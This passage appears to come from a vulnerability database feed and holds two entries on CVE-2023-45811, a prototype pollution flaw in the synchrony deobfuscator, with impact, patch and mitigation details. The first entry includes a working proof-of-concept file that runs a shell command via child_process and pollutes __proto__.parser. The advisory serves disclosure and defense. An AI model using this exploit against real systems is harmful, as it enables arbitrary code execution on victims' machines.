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      <title>BREW-synchrony-CVE-2023-45811 — Synchrony deobfuscator prototype pollution vulnerability leading to arbitrary code execution</title>
      <link>https://db.gcve.eu/vuln/brew-synchrony-cve-2023-45811</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Homebrew: synchrony&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;A `__proto__` pollution vulnerability exists in synchrony versions before v2.4.4. Successful exploitation could lead to arbitrary code execution.&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;A `__proto__` pollution vulnerability exists in the [LiteralMap] transformer allowing crafted input to modify properties in the Object prototype.&lt;/p&gt;
&lt;p&gt;When executing in Node.js, due to use of the `prettier` module, defining a `parser` property on `__proto__` with a path to a JS module on disk [causes a `require` of the value][prettier/src/main/parser.js] which can lead to arbitrary code execution.&lt;/p&gt;
&lt;p&gt;### Patch&lt;/p&gt;
&lt;p&gt;A fix has been released in `deobfuscator@2.4.4`.&lt;/p&gt;
&lt;p&gt;### Mitigation&lt;/p&gt;
&lt;p&gt;- Upgrade synchrony to v2.4.4
- Launch node with the [--disable-proto=delete][disable-proto] or [--disable-proto=throw][disable-proto] flag&lt;/p&gt;
&lt;p&gt;### Proof of Concept&lt;/p&gt;
&lt;p&gt;Craft a malicious input file named `poc.js` as follows:&lt;/p&gt;
&lt;p&gt;```js
// Malicious code to be run after this file is imported. Logs the result of shell command &amp;#34;dir&amp;#34; to the console.
console.log(require(&amp;#39;child_process&amp;#39;).execSync(&amp;#39;dir&amp;#39;).toString())&lt;/p&gt;
&lt;p&gt;// Synchrony exploit PoC
{
  var __proto__ = { parser: &amp;#39;poc.js&amp;#39; }
}
```&lt;/p&gt;
&lt;p&gt;Then, run `synchrony poc.js` from the same directory as the malicious file.&lt;/p&gt;
&lt;p&gt;### Credits&lt;/p&gt;
&lt;p&gt;This vulnerability was found and disclosed by [William Khem-Marquez][SteakEnthusiast].&lt;/p&gt;
&lt;p&gt;[LiteralMap]: src/transformers/literalmap.ts
[SteakEnthusiast]: https://github.com/SteakEnthusiast
[disable-proto]: https://nodejs.dev/en/api/v20/cli/#--disable-protomode
[prettier/src/main/parser.…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Homebrew: synchrony&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;A `__proto__` pollution vulnerability exists in synchrony versions before v2.4.4. Successful exploitation could lead to arbitrary code execution.&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;A `__proto__` pollution vulnerability exists in the [LiteralMap] transformer allowing crafted input to modify properties in the Object prototype.&lt;/p&gt;
&lt;p&gt;When executing in Node.js, due to use of the `prettier` module, defining a `parser` property on `__proto__` with a path to a JS module on disk [causes a `require` of the value][prettier/src/main/parser.js] which can lead to arbitrary code execution.&lt;/p&gt;
&lt;p&gt;### Patch&lt;/p&gt;
&lt;p&gt;A fix has been released in `deobfuscator@2.4.4`.&lt;/p&gt;
&lt;p&gt;### Mitigation&lt;/p&gt;
&lt;p&gt;- Upgrade synchrony to v2.4.4
- Launch node with the [--disable-proto=delete][disable-proto] or [--disable-proto=throw][disable-proto] flag&lt;/p&gt;
&lt;p&gt;### Proof of Concept&lt;/p&gt;
&lt;p&gt;Craft a malicious input file named `poc.js` as follows:&lt;/p&gt;
&lt;p&gt;```js
// Malicious code to be run after this file is imported. Logs the result of shell command &amp;#34;dir&amp;#34; to the console.
console.log(require(&amp;#39;child_process&amp;#39;).execSync(&amp;#39;dir&amp;#39;).toString())&lt;/p&gt;
&lt;p&gt;// Synchrony exploit PoC
{
  var __proto__ = { parser: &amp;#39;poc.js&amp;#39; }
}
```&lt;/p&gt;
&lt;p&gt;Then, run `synchrony poc.js` from the same directory as the malicious file.&lt;/p&gt;
&lt;p&gt;### Credits&lt;/p&gt;
&lt;p&gt;This vulnerability was found and disclosed by [William Khem-Marquez][SteakEnthusiast].&lt;/p&gt;
&lt;p&gt;[LiteralMap]: src/transformers/literalmap.ts
[SteakEnthusiast]: https://github.com/SteakEnthusiast
[disable-proto]: https://nodejs.dev/en/api/v20/cli/#--disable-protomode
[prettier/src/main/parser.…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/brew-synchrony-cve-2023-45811</guid>
    </item>
    <item>
      <title>CVE-2023-45811 — Prototype pollution vulnerability leading to arbitrary code execution in synchrony deobfuscator</title>
      <link>https://db.gcve.eu/vuln/cve-2023-45811</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; relative synchrony&lt;/p&gt;
&lt;p&gt;Synchrony deobfuscator is a javascript cleaner &amp;amp; deobfuscator.  A `__proto__` pollution vulnerability exists in versions before v2.4.4. Successful exploitation could lead to arbitrary code execution. A `__proto__` pollution vulnerability exists in the `LiteralMap` transformer allowing crafted input to modify properties in the Object prototype. A fix has been released in `deobfuscator@2.4.4`. Users are advised to upgrade. Users unable to upgrade should launch node with the [--disable-proto=delete][disable-proto] or [--disable-proto=throw][disable-proto] flags&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; relative synchrony&lt;/p&gt;
&lt;p&gt;Synchrony deobfuscator is a javascript cleaner &amp;amp; deobfuscator.  A `__proto__` pollution vulnerability exists in versions before v2.4.4. Successful exploitation could lead to arbitrary code execution. A `__proto__` pollution vulnerability exists in the `LiteralMap` transformer allowing crafted input to modify properties in the Object prototype. A fix has been released in `deobfuscator@2.4.4`. Users are advised to upgrade. Users unable to upgrade should launch node with the [--disable-proto=delete][disable-proto] or [--disable-proto=throw][disable-proto] flags&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/cve-2023-45811</guid>
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